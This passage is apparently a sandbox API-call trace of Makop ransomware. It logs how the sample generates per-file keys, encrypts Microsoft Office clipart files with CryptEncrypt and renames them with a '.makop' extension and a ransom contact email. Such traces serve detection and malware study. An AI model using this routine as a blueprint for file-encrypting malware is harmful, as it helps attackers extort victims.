pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.990] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.990] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.991] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.992] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.992] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.992] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x318, lpOverlapped=0x0) returned 1 [0110.993] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x320, dwBufLen=0x320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x320) returned 1 [0110.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x320, lpOverlapped=0x0) returned 1 [0110.993] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.993] SetEndOfFile (hFile=0xf0) returned 1 [0111.000] GetProcessHeap () returned 0x48a0000 [0111.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.000] GetProcessHeap () returned 0x48a0000 [0111.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.000] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.002] CloseHandle (hObject=0xf0) returned 1 [0111.002] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0111.002] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0111.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.003] GetProcessHeap () returned 0x48a0000 [0111.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.003] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.003] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.004] GetProcessHeap () returned 0x48a0000 [0111.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.004] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.009] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.009] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.010] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.010] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.010] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x44b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x44b0, lpOverlapped=0x0) returned 1 [0111.012] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44b0, dwBufLen=0x44b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x44b0) returned 1 [0111.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.013] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x44b0, lpOverlapped=0x0) returned 1 [0111.013] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.013] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.013] SetEndOfFile (hFile=0xf0) returned 1 [0111.019] GetProcessHeap () returned 0x48a0000 [0111.019] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.019] GetProcessHeap () returned 0x48a0000 [0111.019] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.019] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.021] CloseHandle (hObject=0xf0) returned 1 [0111.021] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0111.021] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0111.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.022] GetProcessHeap () returned 0x48a0000 [0111.022] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.022] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.023] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0111.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.027] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.027] GetProcessHeap () returned 0x48a0000 [0111.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.028] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.028] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.028] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e94, lpOverlapped=0x0) returned 1 [0111.030] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ea0) returned 1 [0111.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ea0, lpOverlapped=0x0) returned 1 [0111.031] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.031] SetEndOfFile (hFile=0xf0) returned 1 [0111.037] GetProcessHeap () returned 0x48a0000 [0111.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.038] GetProcessHeap () returned 0x48a0000 [0111.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.038] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.040] CloseHandle (hObject=0xf0) returned 1 [0111.040] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0111.040] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0111.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.042] GetProcessHeap () returned 0x48a0000 [0111.042] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.042] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.042] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.042] GetProcessHeap () returned 0x48a0000 [0111.042] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0111.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0111.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.043] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0111.047] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.047] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0111.047] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0111.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0111.048] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0111.048] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.048] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.048] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.048] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa7f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa7f0, lpOverlapped=0x0) returned 1 [0111.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7f0, dwBufLen=0xa7f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa7f0) returned 1 [0111.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa7f0, lpOverlapped=0x0) returned 1 [0111.051] CryptDestroyKey (hKey=0x48c7128) returned 1 [0111.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.052] SetEndOfFile (hFile=0xf0) returned 1 [0111.059] GetProcessHeap () returned 0x48a0000 [0111.060] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0111.060] GetProcessHeap () returned 0x48a0000 [0111.060] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0111.060] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0111.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0111.062] CloseHandle (hObject=0xf0) returned 1 [0111.062] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0111.062] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0111.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0111.063] GetProcessHeap () returned 0x48a0000 [0111.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0111.063] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0111.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0111.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0111.068] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0111.068] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0111.068] 